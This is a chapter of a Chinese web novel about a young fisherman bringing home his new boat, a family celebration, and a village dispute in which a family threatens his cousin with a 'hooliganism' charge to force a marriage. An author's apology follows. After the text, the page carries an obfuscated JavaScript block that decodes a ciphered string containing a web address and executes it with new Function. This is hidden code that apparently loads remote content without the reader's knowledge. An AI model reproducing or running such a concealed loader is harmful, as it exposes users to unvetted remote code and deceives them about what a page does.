确实是有鲸无险!
总结的很好,没毛病。
叶耀东心里如是想到,脸上也笑容满满,“运气好,大概是今天风浪也大。”
老师傅也附和,“是啊,今天风浪挺大的,浪一直打上来,一个个现在都成落汤鸡了。一路出去也没看到有船的影子,也就我们没有跑太远,而且这条船抗风浪等级也会高一点,今天试水也很顺利,没出啥问题。”
“我们赶紧把合同签了,我把钱交了,得抓紧时间回去,免得一个个大过年的还感冒了。”
“好好好,行,先进去,进去把订单合同签了,钱交了,咱们这一单就完成了。”
吴厂长立即带着他进去,并且边走边道:“遇到鲸鱼倒还好,上回那个拖网渔船下水,听说开回去的路上还遇到一群大鲨鱼跟在渔船附近跟了几分钟,还好没有直接去攻击碰撞,跟了几分钟就没影了。”
“这样啊,那还挺神奇的。”
他之前更高级,姥鲨跟了一路呢。
“是啊,啥事都有可能发生,也有人回去的路上捡了一条自己撞上来的魔鬼鱼,都有。”
叶耀东随意的点点头。
世界之大,无奇不有,海洋之大,无边无际,就看有没有听说。
其他人都在船上等着,没必要下来,他反正就进去签一下字,把尾款交了,就可以走人了。
他的钱也照旧装布包里头,贴身背着。
起网的时候,他正好站在两端,浪卷上来,水花洒下来的时候,身上倒是没有全湿,只是头发湿了一点,棉袄上面的水渍用布擦一擦就可以,倒是没有湿到里面,比其他人都好很多。
从布包里面掏出了钱,都还带着他的体温,还热乎的很。
“你藏的倒是还挺严实的。”吴厂长笑看着他撩起衣服一把一把的掏钱。
“这样保险一点,放口袋动来动去容易掉,你清点一下数额,这里八千块。”
“好。”
叶耀东也耐心的等着他清点,数额都没问题后,他才站起身。
“等到时候拖网渔船有造好的,我再通知你。”
“好的。”
“慢走啊,我就不送出去了。”
“等等,我去船上让他们抬一筐小管下来,也辛苦吴厂长了跟你们厂里的工人了,两个师傅跟着我们一路,也麻烦他们了,你看着办分一分,后面的渔船还得麻烦你尽快安排。”
吴厂长面上的笑容更深,“好好好,那我就不客气了,多谢了。”
“不用谢,客气了,该我谢你。”
本来那七条船他就已经占了便宜,送一筐小管也不算什么,正好平一下人家心里的不得劲,又顺带感谢。
叶耀东出去就叫船上的他们抬一筐下来,他在底下接着。
吴厂长也叫人拿了一个筐过来倒货。
“晚上大家都有口福了,一人分一点带回去加餐,这小管比其他鱿鱼好吃多了。”
边上的老师傅也伸手随便拿了一个放嘴里尝着,“还是刚捞上来的鲜,前面在驾驶室看你们吃就感觉肯定会好吃。”
“呵呵,大家一人分一点,也是我的一点小心意。”
等他们倒好后,叶耀东才将空的筐扔船上。
“好了吗?都好了吧?”
“好了,回去了,也两点半了。”
“这会儿回去刚好,我去开船。”
“我去,我去……”叶耀东抢着干。
叶父也跟在他身后,不放心的一起往驾驶舱去。
叶耀东瞅好罗盘方位,一路往村子里开,叶父也在边上看着,行驶的方位没有错后他就也没有吱声,就只看着。
村子里的叶母还有叶耀鹏在三点的时候,就已经拿上鞭炮先去码头外面等着了,生怕他们回来时,没人在。
现在已经四点出头了,太阳早就都躲进了厚重的云层里面,瞧不到了。
有太阳的时候比没太阳温度相差巨大,码头外面也没有任何遮挡物,冷风迎面直吹,母子俩冻着都缩成了一团,头发都被吹的露出来了两个大脑门。
叶母嘴里也在碎碎念,“都四点多了,怎么还没回来?也不知道有没有看好时辰,可别误了?”
“应该不会,爹跟阿华都在,那么多人了,怎么会误了时辰,应该快了。”
“再等等看看……”
“今天浪看的还挺大的……”
一波又一波的海浪拍打上岸边礁石,又一层层的向远处扩展延伸,慢慢平息下去,留下一片转瞬即逝的泡沫。
就在这时,远处的山边绕进来一艘红旗飘飘的蓝白大船出现在他们的视野里。
“哎呦,回来了回来了,终于回来了……”叶母兴奋的喊道,人也立即往前快走了几步,走到岸边看着。
叶耀鹏看一下手表,刚好四点半,也笑着说:“等了一天了,终于回来了。”
“鞭炮呢?你鞭炮准备一下,放地上。”
“我知道,开近了也要几分钟。”
好这几天风浪大,没渔船出海,码头外面今天都静悄悄的,只有母子俩站在岸边,稍显冷清了一些。
不过,事后来岸边看船的人倒是不少。
在远处的渔船渐渐临近,直到跟丰收号停在一块儿后,岸边的鞭炮也噼里啪啦的响了起来。
放完鞭炮后,叶耀鹏也将早就准备好的两个烟花又搬上了自家的船,朝东升号开去。
叶耀东他们早就在船上等着了,接过烟花后也在船上放了两个。
“哎?东子,你的货没卖掉吗?那要不要叫阿财过来收?试水的第一网都打到什么了?”
“运气不错,打到三四千斤的小管,想着今天温度不高,就没有立即靠岸卖了,直接带回来了。”
“那等会叫阿财过来……”
“不用,正好抬回去晒,作坊里的小子们这几天也很闲,给他们找点事做。”
叶父诧异了,他都不知道,东子打着要自己晒的主意。
“啊?都拿来晒啊?卖掉这些,随便也能赚几百上千块,不是更省事吗?你晒一下又得好几天功夫,卖的话也得时间,直接新鲜的卖卖掉就算了呗?”
“没事,我不着急回本,晒干了放着慢慢卖,能多赚一点。”
“能多赚多少啊?就这么一点点大,晒干了也没有多少重量,早点把钱卖到手里多好?”
“没事啊,晒干了,到时候算一下总重量,算一下几斤出一斤,然后再定价格,把价格拉高一点,怎么都得多赚一点。”
叶耀东觉得他们这些都是多想的,虽然这些新鲜的货有个三四千斤,但是等晒干后,差不多也就千把斤吧?
可能都要不了十天半个月就卖光了,数量算起来根本就不多。
给阿财他们收过去,也得一个礼拜左右再去拿单子结账,可能都还没有他市里回笼的快。
“算了,你自己看着办吧,你觉得能卖那就卖吧。”
很多时候都证明他说的是对的,叶父也不多嘴了,提了两句,不听就算了。
“帮忙把这些货都抬到小船上,正好连人带货一起靠岸。”
“这些好几十筐,看起来还真不少……”
“刚好也饭点了,你们等会儿别急着回去,晚上去我家吃饭,阿清肯定都准备好饭菜了。”
“好好…我们得先回家洗澡,换件衣服,全身都湿了……”
“那洗完澡就过来吃饭。”
今天请人来帮忙,跟着出海试水,肯定得请人吃饭的,阿清在家里确实已经煮好了好大一桌。
作坊里头的小弟知道今天大船回来,也都没有急着交班回去,都等在那里,看到海面上有新船的影子后,也都赶紧往岸边跑。
正好渔船靠岸后也帮忙一块接货,将货送到作坊里头。
当然了,期间好话也没有断过。
多几个小弟,这会儿人多倒是显得也热闹,也显得喜气洋洋的。
叶母看着没什么人围观,嘀咕了两句,“今天太冷了,看着也没什么人,太阳下山的早,回来的又晚,这个时间很多人家都提前吃晚饭了,省得吃饭的时候还得点灯。”
“要那么多人干嘛?我还能请全村人吃饭啊?就咱们自家人就行了,那么大个船停在码头,谁瞧不见?”
“就是看着没那么热闹,还是天热的时候好……”
叶耀东摇摇头也没管他娘的嘀咕,大概就是没有村民们看热闹,没人恭维,感觉差了点什么。
“东子,里面有一筐虾姑,这个也不卖吗?”
“不卖,虾姑也拿回去煮了晒干剥壳。”
虾姑也不怎么值钱,卖一毛钱,收购也就几分钱,还不如留着自家吃,晒干了总共估计也没几斤,没必要卖,反正今天的收获都拿来晒,自家先尝尝。
“有几筐的杂鱼,晚上也不用叫阿姨们过来杀了,太晚了也冷,等明天再让她们杀。小管一整个晒就可以了,也不需要杀,晚上先拿点尼龙布遮盖起来,都留着明天再搞,夜里霜重,也坏不了。”
叶耀东说完又挑了一些带回家,晚上加餐。
其他人也都各回各家,先回去洗澡,浑身都被浪打湿了,一直到现在也难受。
码头外面没什么人,他家门口倒是等着不少看热闹的,正好就在海岸边,远处的船,一眼就能看到。
而且刚刚船回来时的鞭炮声跟烟花声也吸引了不少村里人,有的人都早早的从叶母嘴里知道他今天开船回来,就是一传十,十传百,很多人不知道几点靠岸。
听到声响后,有的也不嫌冷,跑到岸边来瞧一眼,看到他们家门口聚集了不少邻居,顺便也跑他们家门口说说话,交流一下情报。
“这就把大船开回来了?啧啧啧…你家的船真的是越来越多了,而且也越来越大!”
“这船看着跟那条丰收号一模一样啊,阿东太厉害了,年纪轻轻的,都买上这么大的船。”
“这船得一万多吧?”
“阿东是一个人买下来的吗?还是跟谁合伙了?”
“不知道有没有跟家里的兄弟合,听说订了挺久的,去年就定了吧?”
“好像是去年吧,应该有跟家里的兄弟合吧,不然一万多啊,多贵啊,听说丰收号都有四五个人合伙,不然怎么买得下来?”
叶母笑容满面,将早就准备好的糕点给门口看热闹的村民们都发过去,并且给他们解释。
“这条船没有跟人合伙,是东子一个人的,这孩子不乐意跟别人合,嫌麻烦,当时就自己去交了个定金,直接定下来了。”
“也还好,前几个月挣了点钱,不然这一万多的钱也出不起。现在好了,又盖房子又买地盖作坊,新船又出了一大笔,剩下我看也没钱剩了,又得慢慢攒了。”
“这赚的快,花的也快。赚的多,花的多,是真的一点都没错。”叶母满脸笑容的边说边摇头。
这一波是真的给她装到了,也装得开心了,不然的话开心没得分享,不能装逼,心里也怪难受的。
“会花钱有什么关系,花出去他又能赚回来。”
“阿东也是太厉害了,谁像他那么能赚?”
“是啊,谁家儿子像你儿子这么厉害的?也不数数,他手里都几条船了?一二三四?四条了吧?”
“啧啧啧,有的人,一条都买不起,阿东都攒下好多条了……”
“你这船叫什么名字啊?起名字了吧?这么大个,都跟丰收号一样了,肯定得取个好听一点的……”
“东子说叫东升号,里面带他的名字,又什么一直上升,什么太阳星星,什么东西,反正听他说的挺好的。”
叶耀东听着他娘帮他装逼宣传,也笑呵呵的站在边上听着。
孩子们也都从屋里跑出来,围了过来。
“爹,我们家的船开回来吗?”
“三叔,那两条停在一块的船,是不是有个就是你开回来的?”
“爹,你是不是又要挣大钱了?”
“三叔,是你的船大还是小姑丈的船大?”
“三叔,为什么你有那么多的船,我们家没有那么多?是不是我们家比较穷啊。”
“我也觉得我们家好穷!”
“我家比较穷!”
“那没有,肯定是我家比较穷!”
“我家才穷……”
叶耀东满头黑线,这也要比?
谁家比较穷很值得骄傲吗,需要这么争抢?
“去去去,都回到屋里去,太阳下山,外面冷的很。”
叶大嫂叶二嫂脸都快黑了。
“都给我死回去。”
“马上就快过年了,得打一顿,不然的话,我看你们几个年都不能好好过了。”
“我还是觉得我家比你家穷……”
几个往屋里跑都还不忘了比较谁家比较穷……
叶父跟叶母满脸笑容的应付周围的邻居,好一会儿过后,等人家回去吃饭了,二老才进屋。
林秀清也把叶耀东刚带回来的海鲜加工了几碗出来,锅里还没煮完,大家都陆陆续续的过来,并且坐下来在吃了。
外头冷风萧萧,屋里热火朝天,楼上都是孩子们的跑跳声,不管楼上楼下,气氛都格外的热闹。
那些孩子一直楼上楼下的跑跑跳跳也不用吃,大人们都忙着照顾客人,也没空管他们吃喝,对他们来说有的玩就行了。
他们也最喜欢家里有客人了,这样显得热闹,也没人管他们。
老太太倒是给他们一人夹了一碗饭菜端上楼给他们。
正好给从后门尿完尿回来的叶父看到了,倒是把她一通好骂。
“一个个有手有脚的,还得你送上楼?都是这样被你给惯坏了,一把年纪了还爬上爬下了,要是摔一跤,看你怎么办。”
“你别啰嗦了,这不好好的吗?”
“现在看的是好好,谁知道有什么万一,万一哪里摔了,累的是谁?全家都得跟着你遭罪。”
老太太拿起拐杖就打他的腿,“乌鸦的嘴,喝你的酒去,不要念了,那么多人在。”
“你也怕人说?那以后就小心一点,不要往楼上走,几个孩子那么皮,等会儿打一顿,吃饭还得人送,改明儿得饿死。”
“知道了知道了,不要啰嗦。”
热闹的气氛一直持续到九点多,林秀清给他们将菜热了又热,米酒也不停的给他们温起来。
直到很晚了,大家才都醉醺醺的散去。
林秀清把人扶到床上,才去收拾满桌的狼藉。
也因为晚上家里的热闹,叶小溪也都舍不得早睡,一直跟着楼上楼下的吵。
这会儿看到叶耀东满脸通红的躺在床上,不似以往,看到她就亲亲抱抱,她好奇的凑过去边推边叫了好几声。
见毫无反应后,她就在他脸上不停的捏来捏去,听到呼噜声后又去捏鼻子,捏嘴巴。
被挣脱开后,她又一屁股坐他脸上去,扭来扭去。
叶耀东迷迷糊糊中被她搞得烦不胜烦,只好侧过去,不过这丝毫不影响叶小溪的发挥,她的臭屁股就一直坐在他脑袋上玩。
玩累了又将臭脚丫怼到他脸,不停的蹂躏,嘴里还咯咯咯的一直笑。
林秀清收拾完进屋就看到这一画面,伸手解救了一下,才让叶耀东脱离魔脚。
叶耀东根本不知道昨夜被女儿欺负,大早上就被门口的吵闹声吵醒,还不等他破口大骂,他就听说叶耀生被打上流氓罪了。
他忍着头痛,竖起耳朵听着外头的议论声,听了一会儿,也听不出什么缘由,才挣扎的爬起来出去。
“怎么了?一大早就这么吵?谁说阿生哥流氓罪了?”
林秀清转头看去,“你怎么这么早就醒了?”
“门口那么吵,能睡得着才怪?”
“说是王丽珍知道阿生哥过两天要结婚,今天一早就上门闹了,说不娶她,不负责就要告他耍流氓。”
叶耀东:“?阿生哥把她睡了?”
“不知道啊,我也是才听说,听说正在闹腾。”
“去看一下?”
“你不先吃饭?”
“不着急,先去看一下,这流氓罪可大小可小,粘上可麻烦了。”
所以他才一直洁身自好,别的女人连多看一眼都怕沾麻烦,谁让他长这么帅?
从来就只有别人多看他的,没有他多看别人的。
更何况,家里老婆也挺好的,他也挺知足的,从来都没想过家里红旗不倒,外面彩旗飘飘。
也不是没人向他示好过,反正他一律都当没瞧见。
不然,吃花生米都得自己花钱买。
“那你们就一起去看一下,你大哥二哥刚刚听说了就先过去了。”老太太也心急的很,都是孙子,本来也打算跟在后面过去瞧一瞧。
叶耀东跟林秀清匆匆的过去时,叶耀生家门口已经围了里三层外三层,好几圈的人,都在踮着脚尖往里头看热闹。
“大家评评理啊,叶耀生吃干抹净了就不认账了,寡妇怎么了?寡妇也是人啊,耍流氓不负责,可是要吃枪子的。”
“就是!不负责我们就去边防所告你耍流氓,把你抓进去。。”
“这里招惹一个,那里招惹一个,还想着结婚?门都没有,怎么都得给我们一个交代。”
“虽然阿珍不是黄花大闺女,但是也是清白的寡妇,哪能随便让人糟践。”
“叶耀生你要是个男人,就把阿珍娶回去,反正你们家也看好了日子,我们也不嫌弃是跟别人定下的,你随便给点彩礼,办桌酒去扯个证就行了。”
“就是,我们也不嫌你穷,正好你们一个寡妇一个鳏夫,也般配,直接把证扯了,婚结了,这事就揭过了,我们以后也不提什么流氓zui。”
屋里头的声音一声比一声大,一点都不觉得家丑不可外扬,恨不得把全村人都招揽过来看。
外面围着的人群也在那里议论纷纷。
“清白的寡妇还是第一次听说,阿生该不会真的把人家睡了吧?”
“我看悬,几十年的邻居了,阿生看着挺老实的,不至于干出这种事吧?更何况人家前几天都已经重新定下婚事了。”
“我也这么觉得,这王家向来都不是啥好人,要是真把人闺女睡了,还能等到今天?早就逼上门了。”
“我看他们就是看着阿生老实肯干,现在也能挣钱,所以一直就巴着他不放,前段时间都听说天天上门来说和,只是他不肯了。今天估摸着老王家也听到他要结婚的风声,所以才想着用流氓罪把人绑住。”
“这下要是不乐意,得倒霉了……”
“说不清啊,这个…人家说你耍流氓,把人睡了,这也没办法辩了……”
“看样子只能娶了,不然总比抓进去好。”
……
人群里说什么的都有。
叶耀东跟林秀清面面相觑,两人听着耳边的议论声,边往里头挤。
他们本家人已经在屋里站了一排了,叶大伯家一大家子,叶二伯一大家子,还有他大哥大嫂二哥二嫂通通已经在了,他们夫妻俩算是比较晚到的。
怎么也都是堂兄弟姐妹,这流氓罪可是大事了,大家都到的挺齐全的。
叶耀生满脸烦躁,整个人眉头拧在一起,又满脸苦涩,垂头丧气的坐在那里。
林秀清问了一下一旁先过来的大嫂二嫂,情况也跟他们刚刚过来时,在外面听的差不多。
叶耀生百口莫辩,只说自己规规矩矩的,什么都没干过。
叶二伯跟叶二伯母也有些吃软怕硬,刚刚已经辩过,但是没辩赢,也担心真的去告流氓zui,现在这年代是真一告一个准。
王家的人此时仿佛胜利者一般,王丽珍老娘不以为耻,反以为荣的得意道:“赶紧的,直接拿钱吧,充当聘礼,今天就把这事定下来。”
王丽珍的爹王老五也满脸笑容的道:“就还是给个两百块吧,意思一下就好。”
又是两百块。
叶耀东满头黑线。
“哪里要两百块,我们定下隔壁村的寡妇也没有要两百块,只要给人家做一身红棉袄就可以了。。”
叶二伯母大声的反驳,完了又拍打了一下叶耀生,“你说句话啊。。”
“我不娶,没干过的事我娶了,,那不就成我干过了?”
“可是不娶的话,要告你流氓zui……”
叶二伯母的话,让人听着是已经妥协了,王家人脸上更得意了。
“对,你要是不娶的话,就告你流氓zui。”
王家的男人也在那里撩狠话,“流氓zui要吃枪子,敢不娶?”
叶耀东听着都恶心坏了。
这不是明摆着要赖上叶耀生吗?
不认也要逼你认下这口锅。
“你们家女人是嫁不出去了吗?逮着老实人死命的欺负,他上辈子是造了什么孽啊,怎么会被你们缠上,菩萨拜的太少了肯定。”
“你不要多管闲事,不关你的事。”王老五瞪向他。
“这咋不关我的事?他是我堂哥,你们都要让他吃枪子了,我们本家人就不能说话了?”
王丽珍老娘道:“把阿珍娶了,不就什么事都没有了?皆大欢喜,马上就过年了,谁都不想面上不好看。”
“你们都肯定阿生哥把王丽珍睡了?是你们都在旁观,看到了?”
人群里顿时笑声一片。
“你放屁!”
“那你们没看到,你们怎么知道他把她睡了?”
“他就是把我女儿睡了。”
“我还说你女儿把我家的狗给睡了,我全家都看到了,比你们强,人证都有。”
人群里顿时闹哄哄一片,都在那里议论他的比喻。
王家人顿脸涨的通红,男人撸起袖子就想上前。
叶耀东怕他啊?他也有一帮亲兄弟堂兄弟。
两家人也都撸起了袖子。
“关你屁事,你要插手?叶耀生老娘都认下了,我们都开始谈彩礼了,要你多管闲事?”
“又不是他娘结婚,阿生哥,你认吗?你真把王丽珍给睡了吗?”
叶耀生看到了希望,也来劲了,站起来大声的否认。
“没有,我没干过的事我不会承认,我也不娶她,我都定亲了,我怎么可能干这种事?是她故意赖上我的。”
“听到了没有,阿生哥不承认睡了你了,但是我家的狗承认,对不对?大黑子。”
大黑狗立即汪汪两声……
对不起,今天晚点的厉害。
中午的时候,脸突然间过敏了,脸颊放了一大片红疙瘩,痒的不行,临时出去看了一下,耽搁了一下午。回来就立即码字了,到现在饭还没吃,真的不好意思。
之前读者一直嫌我更新的太晚了,所以我就没熬夜,放到下午了。
但是白天总有太多不确定的事,偶有突发状况发生的话就会来不及,我想以后还是放到夜里更新吧。抱歉
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();